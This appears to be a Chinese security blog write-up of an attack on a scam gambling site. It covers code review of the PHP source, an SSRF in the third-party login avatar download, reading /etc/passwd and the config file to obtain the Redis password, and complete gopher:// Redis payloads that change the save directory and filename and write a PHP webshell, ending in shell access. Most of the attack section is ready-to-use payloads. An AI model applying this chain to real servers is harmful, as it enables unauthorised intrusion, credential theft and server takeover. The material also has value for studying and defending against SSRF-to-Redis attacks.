0%

【实战】杀猪盘SSRF到getshell

前段时间拿到一个杀猪盘,一直很忙没有看,最近闲下来就看了一下,没发现什么明显的漏洞,就在Fofa上通过特征搜了一批同类型的站扫源码备份,运气很好,扫到一份

SSRF

本来找到一处任意上传,但是在目标上面已经被删除,只能继续看代码
在全局搜索curl的时候发现在\lib\controller\api\user.php文件的_downloadAvatarFromThird私有方法里面有定义
30e4f0c5-8f62-4637-b0ee-716331b0da71.png

  1. 在279到282行没有任何过滤直接把传进来的$thirdAvatarUrl使用curl进行请求并把返回结果存储在$imageData
  2. 在284行通过getAvatarFilename方法获取到一个基于以微秒计的当前时间然后拼接.jpg的文件名
    f6487442-fb70-4c3a-a487-72d93153629d.png
  3. 在285行通过getAvatarUrl方法获取到一个本地存储的绝对路径
    e3d6f208-f6d1-4920-b63a-c6719c183e47.png

    S_ROOT/index.php里被定义为当前网站根目录的绝对路径
    255cf2ea-9290-4c99-ae2e-9cedcd975279.png

  4. 在294行把结果写入到第285行获取到的文件名里

现在知道了_downloadAvatarFromThird方法有明显的SSRF漏洞并把结果写入到一个文件里面之后,只需要找到哪里调用的这个方法,然后看看$thirdAvatarUrl变量是否可控
通过搜索,在第139行的公开方法thirdPartyLogin里面调用了_downloadAvatarFromThird方法,并且$thirdAvatarUrl也是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
/**
* 第三方登录 qq 微信
* @method POST /index.php?m = api&c = user&a = registerMachine
* @param flag string 入口标示
* @param code string 机身码
* @return json
*/
public function thirdPartyLogin (){

log_to_mysql(runtime(),'thirdPartyLogin_start');

$this->checkInput($_REQUEST, array('openid','nickname','type','flag', 'code'), 'all');


log_to_mysql(runtime(),'thirdPartyLogin_check_params_end');

$openid = trim($_REQUEST['openid']);
$nickname = trim($_REQUEST['nickname']);
$avatar = trim($_REQUEST['avatar']);
$type = trim($_REQUEST['type']);
$flag = trim($_REQUEST['flag']);
$code = trim($_REQUEST['code']);
if(!in_array($type,array(5,6,7))){
ErrorCode::errorResponse(ErrorCode::DB_ERROR);
}

//获取IP地址及ip归属地
$ipData = getIp();
log_to_mysql(runtime(),'thirdPartyLogin_getip_end');

$sql = "SELECT user_id FROM `un_user_third` WHERE `openid` = '{$openid}' AND `type` = '{$type}'";
$res = O('model')->db->getOne($sql);
log_to_mysql(runtime(),'thirdPartyLogin_checkOpenidExists_end');

if(empty($res['user_id'])){
$username = $this->getUsername(6,10);
//添加用户
$data = array(
'username' => $username,
'nickname' => $nickname,
'regtime' => SYS_TIME,
'birthday' => SYS_TIME,
'regip' => $ipData['ip'],
'reg_ip_attribution' => $ipData['attribution'],
'loginip' => $ipData['ip'],
'login_ip_attribution' => $ipData['attribution'],
'logintime' => SYS_TIME,
'logintimes' => 1,
'reg_type' => $type,
'entrance' => $flag,
'layer_id' => $this->model2->getDefaultLayer()
);

$userId = $this->model->add($data);

if (!$userId) {
ErrorCode::errorResponse(ErrorCode::DB_ERROR);
}

//添加资金账户
$map = array(
'user_id' => $userId,
'money' => 0
);
$this->model2->add($map);

O('model')->db->query("INSERT INTO `un_user_tree` (`user_id`, `pids`, `layer`) VALUES ({$userId}, ',', 1)");

//添加第三方数据表记录
$sql2 = "INSERT INTO `un_user_third` (`user_id`, `openid`, `type`, `addtime`) VALUES ('{$userId}', '{$openid}', '{$type}', '{$data['regtime']}')";
O('model')->db->query($sql2);

//下载头像
if(!empty($avatar)){
$res = $this->_downloadAvatarFromThird($userId, $avatar);
}

//设置登录信息
$this->loginLog($userId, $flag, $code);

$token = $this->setToken($userId,$code);
$data = array(
'uid' => $userId,
'token' => $token,
'username' => $username,
'nickname' => $nickname,
'avatar' => $res?$res:'/up_files/room/avatar.png',
'state' => 1
);
}else{
$userId = $res['user_id'];
$sql = "SELECT id,username,nickname,avatar,password FROM un_user WHERE id = '" . $userId ."' AND state IN(0,1)";
$userInfo = O('model')->db->getOne($sql);

log_to_mysql(runtime(),'thirdPartyLogin_getUserInfo_end');

if (empty($userInfo)) {
ErrorCode::errorResponse(ErrorCode::PHONE_OR_PWD_INVALID);
}
//更新登录信息
$this->model->updateLoginInfo($userId);
log_to_mysql(runtime(),'thirdPartyLogin_updateLogData_end');

//去掉更新设备,这里更新的设备字段,为注册设备,最后登录设备已记录在 un_user_login_log 表
// $this->model->save(array('entrance' => $flag), array('id' => $userId)); //更新用户设备登录类型

//设置登录信息
$token = $this->setToken($userId,$code);


log_to_mysql(runtime(),'thirdPartyLogin_setToken_end');

$this->loginLog($userId, $flag, $code);

log_to_mysql(runtime(),'thirdPartyLogin_logLoginData_end');

$data = array(
'uid' => $userId,
'token' => $token,
'username' => $userInfo['username'],
'nickname' => empty($userInfo['nickname']) ? $userInfo['username'] : $userInfo['nickname'],
'avatar' => empty($userInfo['avatar']) ? '/up_files/room/avatar.png' : $userInfo['avatar'],
'state' => empty($userInfo['password']) ?1:2
);
}

/*
$honor = get_honor_level($userId);
if(($honor['status1'] && $honor['status']) || ($honor['status'] && $honor['score']==0)){
$data['honor'] = $honor['name'];
$data['icon'] = $honor['icon'];
$data['num'] = $honor['num'];
}else{
$data['honor'] = 0;
}
*/

//荣誉机制
$data['honor'] = get_honor_info($userId);

log_to_mysql(runtime(),'thirdPartyLogin_getHonor_end');

ErrorCode::successResponse($data);
}

那么现在就可以构造一个URL来读文件试一下是否可以成功
efe1bfa4-c495-4722-b48b-db7fbaf1736d.png
返回了图片路径就说明是读成功了的
5b81b44e-2da3-4b3c-a18d-f5f9a27bd570.png

经过测试支持filehttp/sdictgopher等协议

写shell失败

读文件并不是我的目标,最终的目的是要拿到权限
在之前在看配置文件的时候看到配置文件里面是配置了Redis密码的,但是并不清楚目标上是否开启,读到/etc/passwd之后看到有redis用户,那么八成是开启了的
这时候首先需要看一下目标机器上面的Redis是否配置了密码:dict://127.0.0.1:6379/info
查看返回结果发现是配置了密码的
daf98084-0a93-43ff-a051-3b0b742b5b50.png
这时候有两个思路获取到Redis密码:

  • 爆破Redis密码:dict://127.0.0.1:6379/auth:<password>
  • 找绝对路径读配置文件

首选肯定是先找找看能否爆出来绝对路径,发现有两个文件有可能泄露绝对路径:

  • /caches/log/object_error.php (目标上不存在)
  • /chat/workerman.log:访问下载下来后,不出意外的泄露了绝对路径
    4a615c19-78d3-451c-a84b-14b5478809d3.png
    再通过SSRF读配置文件得到Redis的密码:file:///www/wwwroot/webgz/caches/config.php
    299328e6-eff4-4609-bbb0-7dbf3ce14957.png
    得到密码之后怎样在非交互模式下使用密码进行验证并且执行指令呢?可以在Redis官方文档中找到答案:https://redis.io/topics/pipelining
  • 大概意思就是Redis支持非传统一次request等待一次response的模式,可以发送多条request后再一次性接收所有response

这个时候dict协议就不行了,因为dict协议会自动在结尾补上\r\n(CRLF),不能一次发出多条指令,所以这里需要使用gopher协议

Redis命令转换为gopher协议:

  • 先使用socat转发流量并打印文本socat -v tcp-listen:6378,fork tcp-connect:localhost:6379
  • 然后使用redis-cli攻击6378端口redis-cli -h 127.0.0.1 -p 6378 -a qq123456 config get dir
    702c41bf-326d-4cae-87c9-9c754d7a7a94.png
    这时候是可以发现一些规律的(也就是RESP协议,可以百度了解)
    转换:
  • 如果第1个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间和流量详情。
  • 删除从<开头的行到>开头的行之间的行,因为这是返回的数据,这里不需要
  • \r换行字符串替换成%0d%0a
  • 开头为*的数字为数组元素数量,开头为$的数字为字符数量,也就是说*3后面需要跟3个$x
  • Gopher协议发送数据第一个字符会消失,所以用_来代替第一个字符(其他字符也都可以)

那么这里需要认证的config get dir转换为gopher协议就是

1
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*3%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aget%0d%0a$3%0d%0adir%0d%0a

后面必须再加一个quit*1%0d%0a$4%0d%0aquit%0d%0a),否则会一直连接,不退出,也就无法返回结果
发送前再把_后面的所有内容再url编码一次,发送并得到结果
de188928-46c4-403c-8459-33939109b689.jpg
现在就可以通过Redis往目标网站写一个webshell

  1. 首先需要关闭RDB压缩,Redis默认开启,如果不关闭,字符串可能会被压缩出现乱码导致shell不能正常运行:
    *2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$14%0d%0ardbcompression%0d%0a$2%0d%0ano%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    4ad82c3b-ae67-4f98-a57d-86b06fcb3844.png
    回显
    d24d6b05-0ee0-47b2-a04c-271da2f92442.png
  2. 设置保存位置:
    *2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$35%0d%0a/www/wwwroot/webgz/up_files/avatar/%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    4263f1e3-9302-49a2-8ac4-d92d52952d06.png

    在设置保存路径之前,最好先获取一下原本的保存路径,写入shell之后恢复回去:*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*3%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aget%0d%0a$3%0d%0adir%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

  3. 设置文件名:
    *2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$5%0d%0a1.php%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    eedf9265-be6c-4159-b6ec-678df695f24e.png
  4. 写入一个key,内容为wenshell
    *2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0as%0d%0a$27%0d%0a%0a%0d%0a<?php phpinfo();?>%0d%0a%0a%0d%0a%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    4cb8b07e-bec8-48f4-9109-b111984556f7.png
  5. 保存:
    *2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    b4f232d9-7cc2-476c-afa7-b0503c908bff.png

发现没有写进去,目标机器为Linux,猜测是权限的问题(可能网站路径都是755,而redis权限想写进去最后一位权限得是7(读写执行)、6(读写)、2(写))
那么这个时候有几个选择:

  • 试一下定时任务有没有写权限(测试没权限)
  • 多找几个目录试试看有没有777权限目录(没找到)
  • 在源码里搜索一下是否有chmodmkdir等方法赋予了777权限
  • Fastcgi(攻击方法参考https://bbs.ichunqiu.com/thread-58455-1-1.html),但是这里不知道是走的socket还是TCP(默认socket),所以没测试

突破

  1. 找到一些chmodmkdir要不就是不可控,要不就是目录已经存在
    最后在\core\class\upload.phpupload方法里找到使用chmod方法会以当前日期新建一个目录并赋予777权限
    2a29dbc9-2a1e-4e89-b1b5-94ffb5c455e5.png
    2137dc19-a71c-445b-94fc-4cfa1a8fa0ac.png
  2. 搜索调用了upload类的并可控的点
    \lib\controller\attachment\attachment.php的公开方法upload里调用了upload类,并且可控
    69580fe8-97af-4d1e-945e-28cb03f5251d.png
  3. 构造上传
    08e5c830-c06c-4225-91d5-5012bd597ce0.png
    上传成功,返回了路径
    9382fedd-cfee-418f-8409-0ec04f38323f.png
    成功访问到,那么这个新建的目录up_files/avatar/2021/0315/就是777权限,可以通过redis写入webshell
  4. 再用rediswebshell发现<>被实体化了,那么把这两个都再进行一次url编码即可
    • *2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$14%0d%0ardbcompression%0d%0a$2%0d%0ano%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    • *2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$45%0d%0a/www/wwwroot/webgz/up_files/avatar/2021/0315/%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    • *2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$5%0d%0a1.php%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    • *2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0as%0d%0a$26%0d%0a%0a%0d%0a%3C?php%20phpinfo();?%3E%0d%0a%0a%0d%0a%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    • *2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
  5. 访问
    4fc0bcae-df90-4b1d-936f-9e2808097835.png
    成功
  6. redis配置给他改回去都可以了
关注公众号可以订阅最新相关文章